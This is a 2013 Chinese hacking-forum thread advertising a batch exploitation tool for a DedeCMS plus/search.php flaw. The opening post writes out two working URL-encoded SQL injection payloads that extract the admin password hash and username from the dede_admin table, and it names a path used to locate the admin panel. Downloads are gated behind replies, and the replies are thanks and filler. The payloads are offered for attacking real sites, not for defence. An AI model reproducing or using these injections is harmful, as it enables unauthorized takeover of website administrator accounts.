DeDecms最新plus/search.php漏洞批量利用工具

made · 发表于 2013-1-21 16:16:00

获取密码
网址/plus/search.php?typeArr[1%27%20or%20%60@\%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20pwd%20from%20dede_admin%20limit%201,1%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=11&&kwtype=0&q=1111&searchtype=title
获取账户
网址/plus/search.php?typeArr[1%27%20or%20%60@\%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20uname%20from%20dede_admin%20limit%201,1%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=11&&kwtype=0&q=1111&searchtype=title
/data/mysql_error_trace.inc
查找后台

复制代码

工具下载：

游客，如果您要查看本帖隐藏内容请回复

源码下载：

游客，如果您要查看本帖隐藏内容请回复

Hzs · 发表于 2013-1-21 17:55:38

谢谢分享！

a88166666 · 发表于 2013-1-21 20:18:30

提示: 作者被禁止或删除内容自动屏蔽

648276767 · 发表于 2013-1-21 21:42:18

分享支持你开门啊上的

08-土豆 · 发表于 2013-1-22 09:30:39

我也看下什么好东西、、

cet2000 · 发表于 2013-1-22 13:11:41

asdfasdfasdf

Free_小东 · 发表于 2013-1-22 14:10:12

来看看，在法克看到了

Danger嗜血 · 发表于 2013-1-22 14:58:28

不错的工具呵呵。

zero123 · 发表于 2013-1-22 20:19:39

我来看看

ggnyj2008 · 发表于 2013-1-22 20:43:56

有教程就更好了。。。

a88166666 a88166666 当前离线积分 77 头像被屏蔽该用户从未签到	发表于 2013-1-21 20:18:30 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
a88166666 a88166666 当前离线积分 77 头像被屏蔽该用户从未签到
	回复支持反对使用道具举报

[工具专区] DeDecms最新plus/search.php漏洞批量利用工具